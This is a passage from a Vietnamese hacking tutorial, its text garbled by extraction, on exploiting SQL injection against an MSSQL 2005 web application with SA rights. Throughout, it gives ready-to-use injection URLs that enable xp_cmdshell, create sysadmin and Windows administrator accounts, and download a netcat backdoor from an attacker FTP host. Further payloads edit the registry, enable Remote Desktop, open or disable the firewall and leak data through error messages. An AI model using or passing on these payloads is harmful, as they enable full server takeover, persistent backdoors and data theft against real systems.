===> Ngha l̀ t̀i kho n SQL hieupc không có quy n hành = SA , ta ch có th khai th́c l y
thông tin nh b̀nh th ng th̀ đ c
Gi ta ph i l̀m g̀ n u ć quy n SA trong tay?
Enable xp_cmdshell trên SQL Server 2005
- Nh đ c bi t thì MSSQL Server 2005 đ m c đ nh là Disable l nh xp_cmdshell ngh a l̀ ngay
c khi có tài kho n SQL là "SA" ta c ng không th ch y đ c các câu l nh CMD:
Page 26
Trang 27+ Ví d victim là:
www.hieupc.gov.vn/hieupc.asp?id=1
(Site này có quy n system_user = SA luôn nhé) , khi ta th ch y câu l nh CMD sau:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'ipconfig /all' sp_password
K t qu tr v l̀ không ć l i g̀
Nh ng mà vì có "SA" trong tay nên cái này ta v n có th enable đ c b ng cách dùng
sp_configure
www.hieupc.gov.vn/hieupc.asp?id=1;exec sp_configure 'show advanced options', 1 sp_password
===> câu l nh này là ta b t show advanced options thì m i có th enable xp_cmdshell đ c
(vì xp_cmdshell n m trong đ́) N u nó không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ th̀nh công Ti p t c khai th́c:
http://www.hieupc.gov.vn/hieupc.asp?id=1;reconfigure sp_password
===> câu l nh ǹy đ ta reconfigure l i đ nó b t đ u b t show advanced options N u nó
không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ th̀nh công Ti p t c khai th́c:
www.hieupc.gov.vn/hieupc.asp?id=1;exec sp_configure 'xp_cmdshell', 1 sp_password
===> b t đ u enable xp_cmdshell N u nó không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ th̀nh công Ti p t c khai th́c v i câu l nh reconfigure m t l n n a:
http://www.hieupc.gov.vn/hieupc.asp?id=1;reconfigure sp_password
===> câu l nh ǹy đ ta reconfigure l i đ nó b t đ u b t xp_cmdshell
Sau khi đ̃ enable xp_cmdshell ta th ipconfig /all xem sao:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'ipconfig /all' sp_password
Trang 28K t qu tr v :
L u ́: m c d̀ đã enable xp_cmdshell nh ng ch a ch c đã làm đ c gì trên server, t i vì
MSSQL Server 2005 không cho ch y các l nh nh "net user hieupc 123456 /add" , ngay c active user Guest "net user Guest /active" c̀n không hi u qu …
Add thêm user vào MSSQL Server:
Bây gi v n Victim là
www.hieupc.gov.vn/hieupc.asp?id=1
Add thêm user vào SQL Server đ làm gì ? L̀ đ ta có th login vào MSSQL Server c a h b ng
Query Analyzer trong Microsoft SQL Server đ có th vi t Query v a nhanh và d d̀ng h n (ho c đ n m vùng c ng c c t t) Ngòi ra ta ć th s d ng: RazorSQL đ connect
u tiên là t o ra user:
www.hieupc.gov.vn/hieupc.asp?id=1;exec sp_addlogin 'hieupc', '123456' sp_password
===> Ta v a t o thêm 1 user trong SQL Server c a nó v i username là hieupc và password là
123456 N u nó không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ th̀nh công Khi đã có user rùi thì ta ph i add nó lên quy n qu n tr cao nh t
(ngang = SA)
www.hieupc.gov.vn/hieupc.asp?id=1;exec sp_addsrvrolemember 'hieupc', 'sysadmin' sp_password
N u nó không báo l i gì mà tr l i trang:
www.hieupc.gov.vn/hieupc.asp?id=1
Th̀ k t qu l̀ thành công
Page 28
Trang 29Bây gi ta d̀ng Query Analyzer ho c RazorSql connect v̀ login v̀o th xem sao (nh ng ch áp
d ng cho server MSSQL cho remote t xa nhé V̀ m t s server c m remote MSSQL t xa.)
K t qu :
Vô t i đây r i, ćc b n l̀m đ c r t nhi u đi u hay l m đây
Chi m quy n Admin v̀ Remote Desktop nh sau:
S d ng câu l nh CMD sau đ add thêm user cho window v i username = hieupc và password = 123456:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'net user hieupc 123456 /add' sp_password
K t qu nh sau l̀ th̀nh công:
add user hieupc vào group administrators, ta l̀m nh sau:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'net localgroup administrators hieupc
/add' sp_password
K t qu nh sau l̀ th̀nh công:
Trang 30Bây gi ta add user hieupc vào group Remote Desktop Users đ nó có quy n Remote Desktop:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'net localgroup "Remote Desktop Users" hieupc
K t qu l̀ đ̃ remote desktop đ c v̀o server:
Upload Backdoor lên Server nh th ǹo qua quy n SA:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'echo open ftp.Your_Domain.com>ftp&echo user Your_User Your_Pass>>ftp&echo get Your_File>>ftp&echo quit>>ftp' sp_password
Page 30
Trang 31===> t o file batch ch a nh ng l nh c a FTP
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'ftp -v -i -n -s:ftp' sp_password
===> th c thi l nh c a file batch
ftp.Your_Domain.com : ch này là domain c a b n , ví d ftp.hieupc.com
Your_User : đây l̀ username đ ng nh p vào ftp
Your_Pass : password đ ng nh p vào ftp
Your_File : file mà b n mu n up lên server (file ph i n m trên host ftp c a b n) , ví d nc.exe
Ví d b n có 1 host ftp là ftp.hieupc.com v i username là hieupc và pass là 123456 , b n mu n upload file nc.exe t trên host ftp đ́ lên server thì b n làm:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'echo open ftp.hieupc.com>ftp&echo user hieupc hieupcpass>>ftp&echo get nc.exe>>ftp&echo quit>>ftp' sp_password
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'ftp -v -i -n -s:ftp' sp_password
Sau khi ch y xong b n có th ki m tra xem file đã đ c up lên server hay ch a b ng ćch sau:
www.hieupc.gov.vn/hieupc.asp?id=1;drop table hieupc create table hieupc (id int identity,noi_dung varchar(1000)) insert into hieupc exec master xp_cmdshell 'dir Your_File' sp_password
===> t o 1 table l u gi n i dung c a câu l nh exec master xp_cmdshell 'dir Your_File' b n nh
là Your_File = tên file mà b n v a up lên , ví d nc.exe
Xem n i dung ći ǹo:
www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,(select noi_dung from hieupc where id=6)) sp_password
K t qu :
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '06/23/2007 04:56
PM 579 nc.exe' to a column of data type int
===> đ̃ upload th̀nh công
L̀m th ǹo khi ta không th Remote Desktop v̀o Server:
ôi khi đ̃ ć đ c user v̀ pass r i nh ng khi remote desktop th̀ l i không đ c v̀ b Firewall
ch n l i ho c do Server đ̃ t t ch c n ng ǹy đi
Trang 32Sau đây l̀ ćch gi i quy t:
Site demo v n l̀:
www.hieupc.gov.vn/hieupc.asp?id=1
Nh ćc b n đã bi t là Registry hay c̀n g i l̀ Regedit r t quan tr ng trong h th ng c a
window , khi có system_user = 'SA' trong tay thì b n có th t ng t́c v̀o registry c a máy ch V̀ v y ta ph i can thi p v̀o Regedit đ Enable m t v̀i th :
V̀ s d ng câu l nh sau đ restart l i ḿy 'shutdown -m \\tên_server –r –t 5'
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'shutdown -m \\tên_server –r –t 5' sp_password
===> restart máy nào
Page 32
Trang 33–
Delete 1 khóa registry nh sau:
www.hieupc.gov.vn/hieupc.asp?id=1;exec xp_regdeletekey 'rootkey', 'key' sp_password
===> các b n chú ý 'rootkey' và 'key' là đ ng d n đ n kh́a registry đ́
Ví d hieupc mu n xóa khóa registry TestValue
'HKEY_LOCAL_MACHINE\SOFTWARE\Test' thì s là:
www.hieupc.gov.vn/hieupc.asp?id=1;exec xp_regdeletekey 'HKEY_LOCAL_MACHINE',
'SOFTWARE\Test\TestValue' sp_password
c giá tr 1 khóa registry nh sau:
Ví d b n mu n đ c khóa registry fDenyTSConnections
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Terminal Server xem nó có giá tr = bao nhiêu thì b n đ u tiên ph i query:
www.hieupc.gov.vn/hieupc.asp?id=1;drop table hieupc create table hieupc (id int identity,noi_dung1 varchar(99), noi_dung2 varchar(99)) insert into hieupc EXEC master xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal sp_password
Server','fDenyTSConnections' ===> t o ra 1 table l u tr giá tr registry c a kh́a đ́
Sau đ́ b n ph i select d li u trong đ́ ra đ xem:
www.hieupc.gov.vn/hieupc.asp?id=1 and 1=convert(int,(select top 1 noi_dung1%2b'/'%2bnoi_dung2 from hieupc where id=1)) sp_password
===> %2b = d u +
N u nó hi n l i:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value
'fDenyTSConnections/0' to a column of data type int
===> có ngha l̀ kh́a fDenyTSConnections có giá tr = 0
Ghi thêm và S a giá tr c a khóa registry nh sau:
Ví d Hieupc s s a giá tr c a fDenyTSConnections
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Terminal Server thành 1
Trang 34M t v̀i đi u c n l u ý v Remote Desktop:
Khi mà có SA và b n đã add thêm thành công tài kho n Admin , nh ng khi b n connect vào Remote Desktop c a Server thì l i không đ c V y ph i làm gì ti p theo đây?
Ĺc ǹy ta ph i enable ći Terminal Service b ng ćch:
Sc config TermService start= auto
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell ' Sc config TermService start= auto
' sp_password
Enable xong th̀ ta ph i start TermService:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell ' net start TermService ' sp_password
M Port trong Firewall cho Remote Desktop:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell ' netsh firewall add portopening TCP
3389 “Remote Desktop” ' sp_password
Bây gi ta th connect Remote Desktop v̀o Server th xem sao
Ngoài ra b n c n l̀m thêm v̀i câu l nh sau n u v n không connect đ c v̀o Remote Desktop:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell ‘ netsh firewall set service remoteadmin enable ' sp_password
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell ‘netsh firewall set service remotedesktop enable ' sp_password
Chú ý thêm:
Thông th ng là 1 Server không đ c b t Firewall (n u ć th ng là firewall ph n c ng), nh ng
n u trong tr ng h p Server b t firewall, và ch n 1 ng d ng connect c a b n (nh Remote Desktop ch ng h n) thì sao? (ví d nh ch n netcat) thì b n hãy tham kh o cách sau:
www.hieupc.gov.vn/hieupc.asp?id=1;exec master xp_cmdshell 'netsh firewall set opmode enable
disable' sp_password